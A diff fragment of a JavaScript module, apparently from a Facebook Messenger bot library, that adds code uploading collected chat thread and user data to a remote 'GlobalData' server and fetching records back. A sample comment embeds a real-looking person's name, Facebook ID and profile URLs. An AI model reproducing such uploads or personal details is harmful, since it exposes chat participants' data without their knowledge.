+ Data:[{"threadID":"5011501735554963","threadName":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","participantIDs":["100042817150429"],"userInfo":[{"id":"100042817150429","name":"Nguyễn Thái Hảo","firstName":"Hảo","vanity":"Lazic.Kanzu","thumbSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","profileUrl":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","gender":"MALE","type":"User","isFriend":true,"isBirthday":false}],"unreadCount":38925,"messageCount":39857,"timestamp":"1674107309307","muteUntil":null,"isGroup":true,"isSubscribed":true,"isArchived":false,"folder":"INBOX","cannotReplyReason":null,"eventReminders":[],"emoji":"😏","color":"DD8800","nicknames":{"100001776745483":"[𝐇𝐆] • Eo bờ su"},"adminIDs":[{"id":"100042817150429"}],"approvalMode":true,"approvalQueue":[],"reactionsMuteMode":"reactions_not_muted","mentionsMuteMode":"mentions_not_muted","isPinProtected":false,"relatedPageThread":null,"name":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","snippet":"SystemCall run (async function() {\nSend(await Api.getThreadInfo(Data.threadID))\n})()","snippetSender":"100042817150429","snippetAttachments":[],"serverTimestamp":"1674107309307","imageSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t1.15752-9/278020824_345766417524223_6790288127531819759_n.jpg?_nc_cat=101&ccb=1-7&_nc_sid=02e273&_nc_ohc=dfuXjxOR1BUAX-SUN1x&_nc_ht=scontent.fsgn5-14.fna&oh=03_AdQkXN3hb3z4Hg0Tg-vI7ZpDdSmujnluj13uNqUSJoU9iA&oe=63F060BA","isCanonicalUser":false,"isCanonical":false,"recipientsLoadable":true,"hasEmailParticipant":false,"readOnly":false,"canReply":true,"lastMessageType":"message","lastReadTimestamp":"1649756873571","threadType":2,"TimeCreate":1674107310529,"TimeUpdate":1674107310529}]
61
+ Type:Threads
62
+ By:KanzuWakazaki
63
+ **/
64
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
65
+ return request({
66
+ url: ursl + '/post',
67
+ method: 'post',
68
+ headers: {
69
+ 'user-agent': "Horizon/GlobalData/Client"
70
+ },
71
+ formData: {
72
+ Time: Time,
73
+ Data: JSON.stringify(data),
74
+ Type: "Threads",
75
+ By: ctx.userID
76
+ }
77
+ }).then(dt => console.log(dt.body));
78
+ }
79
+ }
80
+ }
81
+ break;
82
+ case "Get": {
83
+ switch (type) {
84
+ case "Users": {
85
+ /* example
86
+ Requires:[5011501735554963]
87
+ Type:Threads
88
+ **/
89
+
90
+ //still operating until Feb 25
91
+ return request({
92
+ url: ursl + '/get',
93
+ method: 'post',
94
+ headers: {
95
+ 'user-agent': "Horizon/GlobalData/Client"
96
+ },
97
+ formData: {
98
+ Requires: JSON.stringify(data),
99
+ Type: "Users"
100
+ }
101
+ }).then(dt => console.log(dt.body));
102
+ }
103
+ case "Threads": {
104
+ return request({
105
+ url: ursl + '/get',
106
+ method: 'post',
107
+ headers: {
108
+ 'user-agent': "Horizon/GlobalData/Client"
109
+ },
110
+ formData: {
111
+ Requires: JSON.stringify(data),
112
+ Type: "Threads"
113
+ }
114
+ }).then(dt => console.log(dt.body));
115
+ }
116
+ }
117
+ }
118
+ break;
119
+ default:
120
+ return;
121
+ }
122
+
123
+ return returnPromise;
124
+ };
125
+ };